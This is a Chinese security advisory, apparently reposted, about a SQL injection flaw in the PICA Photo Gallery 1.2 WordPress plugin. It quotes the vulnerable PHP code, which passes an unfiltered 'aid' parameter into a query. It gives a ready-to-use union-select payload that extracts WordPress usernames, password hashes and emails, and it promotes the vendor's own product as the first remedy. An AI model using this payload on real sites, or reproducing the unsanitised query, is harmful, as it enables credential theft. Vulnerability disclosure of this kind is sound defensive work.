当前位置:编程学习 > wap >>

安全宝播报 WordPress插件存严重SQL注入漏洞

PICA Photo Gallery是WordPress的一个照片管理的插件,在最近对其1.2版本的测试中,安全宝的攻城狮们发现此款插件存在严重的SQL注入漏洞。
下载地址:
http://www.apptha.com/category/extension/Wordpress/PICA-Photo-Gallery
相关信息:
http://www.1337day.com/exploits/19437
攻击EXPLOIT:
/pica-gallery/?aid=-1+union+select+concat(user_login,0x3a,user_pass,0x3a,user_email),2,3,4+from+wp_users%23
漏洞描述:
在pica-photo-gallery/picaFrontEnd.php的290行,程序对接受的aid变量并没有过滤,就直接带入了数据库查询语句中,并最终调用$wpdb->get_result函数进行数据查询操作,从而产生了SQL注入漏洞,攻击者通过提交恶意的aid变量就可以获取网站敏感数据或直接向服务器写入网站木马。
[img=http://img170.poco.cn/mypoco/myphoto/20120927/18/56159153201209271847392486150424150_000.jpg][IMG][/IMG][/img]  
攻击实例:
在安装插件后,会存在如下注入,在picaFrontEnd.php页面中,函数对传入的aid值没有进行过滤,直接带入数据库进行查询,导致注入,下面是摘取的部分代码:
else if(isset( $_REQUEST['aid'] ))
{  
$albId =  $_REQUEST['aid'];//直接传入,没有过滤
$sql = "SELECT macAlbum_name , macPhoto_id , macPhoto_image ,  macPhoto_name  FROM $picaPhotosTable  as p JOIN  $picaAlbumsTable  USING(macAlbum_id)   WHERE p.macAlbum_id =".$albId. " AND macPhoto_status='ON' AND p.is_delete =0 ORDER BY macPhoto_sorting ASC";//sql语句
$picaAlbumPhotosList = $wpdb->get_results($sql); //直接执行,返回查询结果
…….
……
……
}
根据以上代码,用户可以构建自己的语句进行查询(eg:/pica-gallery/?aid=-1+union+select+concat(user_login,0x3a,user_pass,0x3a,user_email),2,3,4+from+wp_users%23)程序执行这个联合查询后,就会返回wp_users表里面的user_login、user_pass、user_email字段值
验证如下图:

针对此漏洞,解决方法有3个:
1) 加入安全宝,此漏洞是一个常见的注入漏洞,针对此类漏洞,安全宝有切实有效的防护方法,针对带有注入攻击的参数值进行阻挡,解除注入威胁。
2) 删除此插件(但可能会影响网站业务,慎用)
3) 修改代码,将aid的值进行过滤(此方法实现相对困难,源码的修改对大部分的站长还是有难度的)
补充:移动开发 ,  电信IT应用开发
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,